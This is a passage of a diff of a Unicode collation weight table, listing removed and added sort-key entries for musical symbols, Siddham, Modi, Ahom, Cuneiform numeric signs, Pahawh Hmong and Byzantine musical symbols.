[*10E8.0020.0002] # MUSICAL SYMBOL SIX-STRING FRETBOARD -1D11D ; [*10E9.0020.0002] # MUSICAL SYMBOL FOUR-STRING FRETBOARD -1D11E ; [*10EA.0020.0002] # MUSICAL SYMBOL G CLEF -1D11F ; [*10EB.0020.0002] # MUSICAL SYMBOL G CLEF OTTAVA ALTA -1D120 ; [*10EC.0020.0002] # MUSICAL SYMBOL G CLEF OTTAVA BASSA -1D121 ; [*10ED.0020.0002] # MUSICAL SYMBOL C CLEF -1D122 ; [*10EE.0020.0002] # MUSICAL SYMBOL F CLEF -1D123 ; [*10EF.0020.0002] # MUSICAL SYMBOL F CLEF OTTAVA ALTA -1D124 ; [*10F0.0020.0002] # MUSICAL SYMBOL F CLEF OTTAVA BASSA -1D125 ; [*10F1.0020.0002] # MUSICAL SYMBOL DRUM CLEF-1 -1D126 ; [*10F2.0020.0002] # MUSICAL SYMBOL DRUM CLEF-2 -1D129 ; [*1106.0020.0002] # MUSICAL SYMBOL MULTIPLE MEASURE REST -1D12A ; [*10F6.0020.0002] # MUSICAL SYMBOL DOUBLE SHARP -1D12B ; [*10F7.0020.0002] # MUSICAL SYMBOL DOUBLE FLAT -1D12C ; [*10F8.0020.0002] # MUSICAL SYMBOL FLAT UP -1D12D ; [*10F9.0020.0002] # MUSICAL SYMBOL FLAT DOWN -1D12E ; [*10FA.0020.0002] # MUSICAL SYMBOL NATURAL UP -1D12F ; [*10FB.0020.0002] # MUSICAL SYMBOL NATURAL DOWN -1D130 ; [*10FC.0020.0002] # MUSICAL SYMBOL SHARP UP -1D131 ; [*10FD.0020.0002] # MUSICAL SYMBOL SHARP DOWN -1D132 ; [*10FE.0020.0002] # MUSICAL SYMBOL QUARTER TONE SHARP -1D133 ; [*10FF.0020.0002] # MUSICAL SYMBOL QUARTER TONE FLAT -1D134 ; [*1100.0020.0002] # MUSICAL SYMBOL COMMON TIME -1D135 ; [*1101.0020.0002] # MUSICAL SYMBOL CUT TIME -1D136 ; [*1102.0020.0002] # MUSICAL SYMBOL OTTAVA ALTA -1D137 ; [*1103.0020.0002] # MUSICAL SYMBOL OTTAVA BASSA -1D138 ; [*1104.0020.0002] # MUSICAL SYMBOL QUINDICESIMA ALTA -1D139 ; [*1105.0020.0002] # MUSICAL SYMBOL QUINDICESIMA BASSA -1D13A ; [*1107.0020.0002] # MUSICAL SYMBOL MULTI REST -1D13B ; [*1108.0020.0002] # MUSICAL SYMBOL WHOLE REST -1D13C ; [*1109.0020.0002] # MUSICAL SYMBOL HALF REST -1D13D ; [*110A.0020.0002] # MUSICAL SYMBOL QUARTER REST -1D13E ; [*110B.0020.0002] # MUSICAL SYMBOL EIGHTH REST -1D13F ; [*110C.0020.0002] # MUSICAL SYMBOL SIXTEENTH REST -1D140 ; [*110D.0020.0002] # MUSICAL SYMBOL THIRTY-SECOND REST -1D141 ; [*110E.0020.0002] # MUSICAL SYMBOL SIXTY-FOURTH REST -1D142 ; [*110F.0020.0002] # MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH REST -1D143 ; [*1110.0020.0002] # MUSICAL SYMBOL X NOTEHEAD -1D144 ; [*1111.0020.0002] # MUSICAL SYMBOL PLUS NOTEHEAD -1D145 ; [*1112.0020.0002] # MUSICAL SYMBOL CIRCLE X NOTEHEAD -1D146 ; [*1113.0020.0002] # MUSICAL SYMBOL SQUARE NOTEHEAD WHITE -1D147 ; [*1114.0020.0002] # MUSICAL SYMBOL SQUARE NOTEHEAD BLACK -1D148 ; [*1115.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP WHITE -1D149 ; [*1116.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP BLACK -1D14A ; [*1117.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD LEFT WHITE -1D14B ; [*1118.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD LEFT BLACK -1D14C ; [*1119.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD RIGHT WHITE -1D14D ; [*111A.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD RIGHT BLACK -1D14E ; [*111B.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD DOWN WHITE -1D14F ; [*111C.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD DOWN BLACK -1D150 ; [*111D.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP RIGHT WHITE -1D151 ; [*111E.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP RIGHT BLACK -1D152 ; [*111F.0020.0002] # MUSICAL SYMBOL MOON NOTEHEAD WHITE -1D153 ; [*1120.0020.0002] # MUSICAL SYMBOL MOON NOTEHEAD BLACK -1D154 ; [*1121.0020.0002] # MUSICAL SYMBOL TRIANGLE-ROUND NOTEHEAD DOWN WHITE -1D155 ; [*1122.0020.0002] # MUSICAL SYMBOL TRIANGLE-ROUND NOTEHEAD DOWN BLACK -1D156 ; [*1123.0020.0002] # MUSICAL SYMBOL PARENTHESIS NOTEHEAD -1D157 ; [*1124.0020.0002] # MUSICAL SYMBOL VOID NOTEHEAD -1D158 ; [*1125.0020.0002] # MUSICAL SYMBOL NOTEHEAD BLACK -1D159 ; [*1126.0020.0002] # MUSICAL SYMBOL NULL NOTEHEAD -1D15A ; [*1127.0020.0002] # MUSICAL SYMBOL CLUSTER NOTEHEAD WHITE -1D15B ; [*1128.0020.0002] # MUSICAL SYMBOL CLUSTER NOTEHEAD BLACK -1D15C ; [*1129.0020.0002] # MUSICAL SYMBOL BREVE -1D15D ; [*112A.0020.0002] # MUSICAL SYMBOL WHOLE NOTE -1D15E ; [*1124.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL HALF NOTE -1D15F ; [*1125.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL QUARTER NOTE -1D160 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL EIGHTH NOTE -1D161 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SIXTEENTH NOTE -1D162 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL THIRTY-SECOND NOTE -1D163 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SIXTY-FOURTH NOTE -1D164 ; [*1125.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH NOTE +114C6 ; [*0441.0020.0002] # TIRHUTA ABBREVIATION SIGN +115C1 ; [*0442.0020.0002] # SIDDHAM SIGN SIDDHAM +115C2 ; [*02B3.0020.0002] # SIDDHAM DANDA +115C3 ; [*02B4.0020.0002] # SIDDHAM DOUBLE DANDA +115C4 ; [*0443.0020.0002] # SIDDHAM SEPARATOR DOT +115C5 ; [*0444.0020.0002] # SIDDHAM SEPARATOR BAR +115C6 ; [*0445.0020.0002] # SIDDHAM REPETITION MARK-1 +115C7 ; [*0446.0020.0002] # SIDDHAM REPETITION MARK-2 +115C8 ; [*0447.0020.0002] # SIDDHAM REPETITION MARK-3 +115C9 ; [*0448.0020.0002] # SIDDHAM END OF TEXT MARK +115CA ; [*0449.0020.0002] # SIDDHAM SECTION MARK WITH TRIDENT AND U-SHAPED ORNAMENTS +115CB ; [*044A.0020.0002] # SIDDHAM SECTION MARK WITH TRIDENT AND DOTTED CRESCENTS +115CC ; [*044B.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED CRESCENTS +115CD ; [*044C.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED DOUBLE CRESCENTS +115CE ; [*044D.0020.0002] # SIDDHAM SECTION MARK WITH RAYS AND DOTTED TRIPLE CRESCENTS +115CF ; [*044E.0020.0002] # SIDDHAM SECTION MARK DOUBLE RING +115D0 ; [*044F.0020.0002] # SIDDHAM SECTION MARK DOUBLE RING WITH RAYS +115D1 ; [*0450.0020.0002] # SIDDHAM SECTION MARK WITH DOUBLE CRESCENTS +115D2 ; [*0451.0020.0002] # SIDDHAM SECTION MARK WITH TRIPLE CRESCENTS +115D3 ; [*0452.0020.0002] # SIDDHAM SECTION MARK WITH QUADRUPLE CRESCENTS +115D4 ; [*0453.0020.0002] # SIDDHAM SECTION MARK WITH SEPTUPLE CRESCENTS +115D5 ; [*0454.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND RAYS +115D6 ; [*0455.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND TWO ENCLOSURES +115D7 ; [*0456.0020.0002] # SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES +11641 ; [*02B5.0020.0002] # MODI DANDA +11642 ; [*02B6.0020.0002] # MODI DOUBLE DANDA +11643 ; [*0457.0020.0002] # MODI ABBREVIATION SIGN +1173A ; [*1AF7.0020.0002] # AHOM NUMBER TEN +1173B ; [*1AF8.0020.0002] # AHOM NUMBER TWENTY +1173C ; [*02B7.0020.0002] # AHOM SIGN SMALL SECTION +1173D ; [*02B8.0020.0002] # AHOM SIGN SECTION +1173E ; [*02E0.0020.0002] # AHOM SIGN RULAI +1173F ; [*0530.0020.0002] # AHOM SYMBOL VI +118EA ; [*1B13.0020.0002] # WARANG CITI NUMBER TEN +118EB ; [*1B14.0020.0002] # WARANG CITI NUMBER TWENTY +118EC ; [*1B15.0020.0002] # WARANG CITI NUMBER THIRTY +118ED ; [*1B16.0020.0002] # WARANG CITI NUMBER FORTY +118EE ; [*1B17.0020.0002] # WARANG CITI NUMBER FIFTY +118EF ; [*1B18.0020.0002] # WARANG CITI NUMBER SIXTY +118F0 ; [*1B19.0020.0002] # WARANG CITI NUMBER SEVENTY +118F1 ; [*1B1A.0020.0002] # WARANG CITI NUMBER EIGHTY +118F2 ; [*1B1B.0020.0002] # WARANG CITI NUMBER NINETY +12432 ; [*1B5A.0020.0002] # CUNEIFORM NUMERIC SIGN SHAR2 TIMES GAL PLUS DISH +12433 ; [*1B5B.0020.0002] # CUNEIFORM NUMERIC SIGN SHAR2 TIMES GAL PLUS MIN +1245A ; [*1B5C.0020.0002] # CUNEIFORM NUMERIC SIGN ONE THIRD DISH +1245B ; [*1B5D.0020.0002] # CUNEIFORM NUMERIC SIGN TWO THIRDS DISH +1245C ; [*1B5E.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SIXTHS DISH +1245D ; [*1B5F.0020.0002] # CUNEIFORM NUMERIC SIGN ONE THIRD VARIANT FORM A +1245E ; [*1B60.0020.0002] # CUNEIFORM NUMERIC SIGN TWO THIRDS VARIANT FORM A +1245F ; [*1B61.0020.0002] # CUNEIFORM NUMERIC SIGN ONE EIGHTH ASH +12460 ; [*1B62.0020.0002] # CUNEIFORM NUMERIC SIGN ONE QUARTER ASH +12461 ; [*1B63.0020.0002] # CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE SIXTH +12462 ; [*1B64.0020.0002] # CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE QUARTER +12463 ; [*1B65.0020.0002] # CUNEIFORM NUMERIC SIGN ONE QUARTER GUR +12464 ; [*1B66.0020.0002] # CUNEIFORM NUMERIC SIGN ONE HALF GUR +12465 ; [*1B67.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE ONE THIRD +12466 ; [*1B68.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE TWO THIRDS +12467 ; [*1B69.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE FORTY +12468 ; [*1B6A.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE FIFTY +12470 ; [*02F9.0020.0002] # CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER +12471 ; [*02FA.0020.0002] # CUNEIFORM PUNCTUATION SIGN VERTICAL COLON +12472 ; [*02FB.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL COLON +12473 ; [*02FC.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL TRICOLON +12474 ; [*02FD.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON +16A6E ; [*02B9.0020.0002] # MRO DANDA +16A6F ; [*02BA.0020.0002] # MRO DOUBLE DANDA +16AF5 ; [*0285.0020.0002] # BASSA VAH FULL STOP +16B37 ; [*0458.0020.0002] # PAHAWH HMONG SIGN VOS THOM +16B38 ; [*0459.0020.0002] # PAHAWH HMONG SIGN VOS TSHAB CEEB +16B39 ; [*045A.0020.0002] # PAHAWH HMONG SIGN CIM CHEEM +16B3A ; [*045B.0020.0002] # PAHAWH HMONG SIGN VOS THIAB +16B3B ; [*045C.0020.0002] # PAHAWH HMONG SIGN VOS FEEM +16B3C ; [*0FAB.0020.0002] # PAHAWH HMONG SIGN XYEEM NTXIV +16B3D ; [*0FAC.0020.0002] # PAHAWH HMONG SIGN XYEEM RHO +16B3E ; [*0FAD.0020.0002] # PAHAWH HMONG SIGN XYEEM TOV +16B3F ; [*0FAE.0020.0002] # PAHAWH HMONG SIGN XYEEM FAIB +16B44 ; [*045D.0020.0002] # PAHAWH HMONG SIGN XAUS +16B45 ; [*0FAF.0020.0002] # PAHAWH HMONG SIGN CIM TSOV ROG +16B5B ; [*1B1C.0020.0002] # PAHAWH HMONG NUMBER TENS +16B5C ; [*1B1D.0020.0002] # PAHAWH HMONG NUMBER HUNDREDS +16B5D ; [*1B1E.0020.0002] # PAHAWH HMONG NUMBER TEN THOUSANDS +16B5E ; [*1B1F.0020.0002] # PAHAWH HMONG NUMBER MILLIONS +16B5F ; [*1B20.0020.0002] # PAHAWH HMONG NUMBER HUNDRED MILLIONS +16B60 ; [*1B21.0020.0002] # PAHAWH HMONG NUMBER TEN BILLIONS +16B61 ; [*1B22.0020.0002] # PAHAWH HMONG NUMBER TRILLIONS +1BC9C ; [*11A0.0020.0002] # DUPLOYAN SIGN O WITH CROSS +1BC9F ; [*0286.0020.0002] # DUPLOYAN PUNCTUATION CHINOOK FULL STOP +1D000 ; [*0FB0.0020.0002] # BYZANTINE MUSICAL SYMBOL PSILI +1D001 ; [*0FB1.0020.0002] # BYZANTINE MUSICAL SYMBOL DASEIA +1D002 ; [*0FB2.0020.0002] # BYZANTINE MUSICAL SYMBOL PERISPOMENI +1D003 ; [*0FB3.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA EKFONITIKON +1D004 ; [*0FB4.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA DIPLI +1D005 ; [*0FB5.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA EKFONITIKON +1D006 ; [*0FB6.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA DIPLI +1D007 ; [*0FB7.0020.0002] # BYZANTINE MUSICAL SYMBOL KATHISTI +1D008 ; [*0FB8.0020.0002] # BYZANTINE MUSICAL SYMBOL SYRMATIKI +1D009 ; [*0FB9.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI +1D00A ; [*0FBA.0020.0002] # BYZANTINE MUSICAL SYMBOL YPOKRISIS +1D00B ; [*0FBB.0020.0002] # BYZANTINE MUSICAL SYMBOL YPOKRISIS DIPLI +1D00C ; [*0FBC.0020.0002] # BYZANTINE MUSICAL SYMBOL KREMASTI +1D00D ; [*0FBD.0020.0002] # BYZANTINE MUSICAL SYMBOL APESO EKFONITIKON +1D00E ; [*0FBE.0020.0002] # BYZANTINE MUSICAL SYMBOL EXO EKFONITIKON +1D00F ; [*0FBF.0020.0002] # BYZANTINE MUSICAL SYMBOL TELEIA +1D010 ; [*0FC0.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA +1D011 ; [*0FC1.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS +1D012 ; [*0FC2.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS DIPLI +1D013 ; [*0FC3.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNEVMA +1D014 ; [*0FC4.0020.0002] # BYZANTINE MUSICAL SYMBOL THITA +1D015 ; [*0FC5.0020.0002] # BYZANTINE MUSICAL SYMBOL OLIGON ARCHAION +1D016 ; [*0FC6.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON ARCHAION +1D017 ; [*0FC7.0020.0002] # BYZANTINE MUSICAL SYMBOL PSILON +1D018 ; [*0FC8.0020.0002] # BYZANTINE MUSICAL SYMBOL CHAMILON +1D019 ; [*0FC9.0020.0002] # BYZANTINE MUSICAL SYMBOL VATHY +1D01A ; [*0FCA.0020.0002] # BYZANTINE MUSICAL SYMBOL ISON ARCHAION +1D01B ; [*0FCB.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA ARCHAION +1D01C ; [*0FCC.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA ARCHAION +1D01D ; [*0FCD.0020.0002] # BYZANTINE MUSICAL SYMBOL SAXIMATA +1D01E ; [*0FCE.0020.0002] # BYZANTINE MUSICAL SYMBOL PARICHON +1D01F ; [*0FCF.0020.0002] # BYZANTINE MUSICAL SYMBOL STAVROS APODEXIA +1D020 ; [*0FD0.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIAI ARCHAION +1D021 ; [*0FD1.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIAI ARCHAION +1D022 ; [*0FD2.0020.0002] # BYZANTINE MUSICAL SYMBOL APODERMA ARCHAION +1D023 ; [*0FD3.0020.0002] # BYZANTINE MUSICAL SYMBOL APOTHEMA +1D024 ; [*0FD4.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA +1D025 ; [*0FD5.0020.0002] # BYZANTINE MUSICAL SYMBOL REVMA +1D026 ; [*0FD6.0020.0002] # BYZANTINE MUSICAL SYMBOL PIASMA ARCHAION +1D027 ; [*0FD7.0020.0002] # BYZANTINE MUSICAL SYMBOL TINAGMA +1D028 ; [*0FD8.0020.0002] # BYZANTINE MUSICAL SYMBOL ANATRICHISMA +1D029 ; [*0FD9.0020.0002] # BYZANTINE MUSICAL SYMBOL SEISMA +1D02A ; [*0FDA.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA ARCHAION +1D02B ; [*0FDB.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA META STAVROU +1D02C ; [*0FDC.0020.0002] # BYZANTINE MUSICAL SYMBOL OYRANISMA ARCHAION +1D02D ; [*0FDD.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMA +1D02E ; [*0FDE.0020.0002] # BYZANTINE MUSICAL SYMBOL LEMOI +1D02F ; [*0FDF.0020.0002] # BYZANTINE MUSICAL SYMBOL DYO +1D030 ; [*0FE0.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIA +1D031 ; [*0FE1.0020.0002] # BYZANTINE MUSICAL SYMBOL TESSERA +1D032 ; [*0FE2.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMATA +1D033 ; [*0FE3.0020.0002] # BYZANTINE MUSICAL SYMBOL APESO EXO NEO +1D034 ; [*0FE4.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ARCHAION +1D035 ; [*0FE5.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFTHORA +1D036 ; [*0FE6.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON ARCHAION +1D037 ; [*0FE7.0020.0002] # BYZANTINE MUSICAL SYMBOL KATAVA TROMIKON +1D038 ; [*0FE8.0020.0002] # BYZANTINE MUSICAL SYMBOL PELASTON +1D039 ; [*0FE9.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTON +1D03A ; [*0FEA.0020.0002] # BYZANTINE MUSICAL SYMBOL KONTEVMA +1D03B ; [*0FEB.0020.0002] # BYZANTINE MUSICAL SYMBOL CHOREVMA ARCHAION +1D03C ; [*0FEC.0020.0002] # BYZANTINE MUSICAL SYMBOL RAPISMA +1D03D ; [*0FED.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKALESMA ARCHAION +1D03E ; [*0FEE.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI ARCHAION +1D03F ; [*0FEF.0020.0002] # BYZANTINE MUSICAL SYMBOL ICHADIN +1D040 ; [*0FF0.0020.0002] # BYZANTINE MUSICAL SYMBOL NANA +1D041 ; [*0FF1.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASMA +1D042 ; [*0FF2.0020.0002] # BYZANTINE MUSICAL SYMBOL KONTEVMA ALLO +1D043 ; [*0FF3.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON ALLO +1D044 ; [*0FF4.0020.0002] # BYZANTINE MUSICAL SYMBOL STRAGGISMATA +1D045 ; [*0FF5.0020.0002] # BYZANTINE MUSICAL SYMBOL GRONTHISMATA +1D046 ; [*0FF6.0020.0002] # BYZANTINE MUSICAL SYMBOL ISON NEO +1D047 ; [*0FF7.0020.0002] # BYZANTINE MUSICAL SYMBOL OLIGON NEO +1D048 ; [*0FF8.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA NEO +1D049 ; [*0FF9.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASTI +1D04A ; [*0FFA.0020.0002] # BYZANTINE MUSICAL SYMBOL KOUFISMA +1D04B ; [*0FFB.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASTOKOUFISMA +1D04C ; [*0FFC.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMOKOUFISMA +1D04D ; [*0FFD.0020.0002] # BYZANTINE MUSICAL SYMBOL PELASTON NEO +1D04E ; [*0FFE.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO ANO +1D04F ; [*0FFF.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO ANO +1D050 ; [*1000.0020.0002] # BYZANTINE MUSICAL SYMBOL YPSILI +1D051 ; [*1001.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS NEO +1D052 ; [*1002.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOI SYNDESMOS NEO +1D053 ; [*1003.0020.0002] # BYZANTINE MUSICAL SYMBOL YPORROI +1D054 ; [*1004.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMOYPORROON +1D055 ; [*1005.0020.0002] # BYZANTINE MUSICAL SYMBOL ELAFRON +1D056 ; [*1006.0020.0002] # BYZANTINE MUSICAL SYMBOL CHAMILI +1D057 ; [*1007.0020.0002] # BYZANTINE MUSICAL SYMBOL MIKRON ISON +1D058 ; [*1008.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA NEO +1D059 ; [*1009.0020.0002] # BYZANTINE MUSICAL SYMBOL PIASMA NEO +1D05A ; [*100A.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTON NEO +1D05B ; [*100B.0020.0002] # BYZANTINE MUSICAL SYMBOL OMALON +1D05C ; [*100C.0020.0002] # BYZANTINE MUSICAL SYMBOL ANTIKENOMA +1D05D ; [*100D.0020.0002] # BYZANTINE MUSICAL SYMBOL LYGISMA +1D05E ; [*100E.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI NEO +1D05F ; [*100F.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKALESMA NEO +1D060 ; [*1010.0020.0002] # BYZANTINE MUSICAL SYMBOL ETERON PARAKALESMA +1D061 ; [*1011.0020.0002] # BYZANTINE MUSICAL SYMBOL KYLISMA +1D062 ; [*1012.0020.0002] # BYZANTINE MUSICAL SYMBOL ANTIKENOKYLISMA +1D063 ; [*1013.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON NEO +1D064 ; [*1014.0020.0002] # BYZANTINE MUSICAL SYMBOL EKSTREPTON +1D065 ; [*1015.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA NEO +1D066 ; [*1016.0020.0002] # BYZANTINE MUSICAL SYMBOL SYRMA +1D067 ; [*1017.0020.0002] # BYZANTINE MUSICAL SYMBOL CHOREVMA NEO +1D068 ; [*1018.0020.0002] # BYZANTINE MUSICAL SYMBOL EPEGERMA +1D069 ; [*1019.0020.0002] # BYZANTINE MUSICAL SYMBOL SEISMA NEO +1D06A ; [*101A.0020.0002] # BYZANTINE MUSICAL SYMBOL XIRON KLASMA +1D06B ; [*101B.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOPSIFISTON +1D06C ; [*101C.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOLYGISMA +1D06D ; [*101D.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOLYGISMA +1D06E ; [*101E.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOPARAKALESMA +1D06F ; [*101F.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOPARAKALESMA +1D070 ; [*1020.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOSYNAGMA +1D071 ; [*1021.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOSYNAGMA +1D072 ; [*1022.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGOSYNTHETON +1D073 ; [*1023.0020.0002] # BYZANTINE MUSICAL SYMBOL ARGOSYNTHETON +1D074 ; [*1024.0020.0002] # BYZANTINE MUSICAL SYMBOL ETERON ARGOSYNTHETON +1D075 ; [*1025.0020.0002] # BYZANTINE MUSICAL SYMBOL OYRANISMA NEO +1D076 ; [*1026.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMATISMOS ESO +1D077 ; [*1027.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMATISMOS EXO +1D078 ; [*1028.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMA APLOUN +1D079 ; [*1029.0020.0002] # BYZANTINE MUSICAL SYMBOL THES KAI APOTHES +1D07A ; [*102A.0020.0002] # BYZANTINE MUSICAL SYMBOL KATAVASMA +1D07B ; [*102B.0020.0002] # BYZANTINE MUSICAL SYMBOL ENDOFONON +1D07C ; [*102C.0020.0002] # BYZANTINE MUSICAL SYMBOL YFEN KATO +1D07D ; [*102D.0020.0002] # BYZANTINE MUSICAL SYMBOL YFEN ANO +1D07E ; [*102E.0020.0002] # BYZANTINE MUSICAL SYMBOL STAVROS +1D07F ; [*102F.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA ANO +1D080 ; [*1030.0020.0002] # BYZANTINE MUSICAL SYMBOL DIPLI ARCHAION +1D081 ; [*1031.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA ARCHAION +1D082 ; [*1032.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA ALLO +1D083 ; [*1033.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA NEO +1D084 ; [*1034.0020.0002] # BYZANTINE MUSICAL SYMBOL APODERMA NEO +1D085 ; [*1035.0020.0002] # BYZANTINE MUSICAL SYMBOL APLI +1D086 ; [*1036.0020.0002] # BYZANTINE MUSICAL SYMBOL DIPLI +1D087 ; [*1037.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIPLI +1D088 ; [*1038.0020.0002] # BYZANTINE MUSICAL SYMBOL TETRAPLI +1D089 ; [*1039.0020.0002] # BYZANTINE MUSICAL SYMBOL KORONIS +1D08A ; [*103A.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA ENOS CHRONOU +1D08B ; [*103B.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA DYO CHRONON +1D08C ; [*103C.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA TRION CHRONON +1D08D ; [*103D.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA TESSARON CHRONON +1D08E ; [*103E.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA IMISEOS CHRONOU +1D08F ; [*103F.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON NEO ANO +1D090 ; [*1040.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON PARESTIGMENON ARISTERA +1D091 ; [*1041.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON PARESTIGMENON DEXIA +1D092 ; [*1042.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON +1D093 ; [*1043.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON ARISTERA KATO +1D094 ; [*1044.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON ARISTERA ANO +1D095 ; [*1045.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON DEXIA +1D096 ; [*1046.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIGORGON +1D097 ; [*1047.0020.0002] # BYZANTINE MUSICAL SYMBOL ARGON +1D098 ; [*1048.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIDIARGON +1D099 ; [*1049.0020.0002] # BYZANTINE MUSICAL SYMBOL DIARGON +1D09A ; [*104A.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI POLI ARGI +1D09B ; [*104B.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI ARGOTERI +1D09C ; [*104C.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI ARGI +1D09D ; [*104D.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI METRIA +1D09E ; [*104E.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI MESI +1D09F ; [*104F.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI GORGI +1D0A0 ; [*1050.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI GORGOTERI +1D0A1 ; [*1051.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI POLI GORGI +1D0A2 ; [*1052.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PROTOS ICHOS +1D0A3 ; [*1053.0020.0002] # 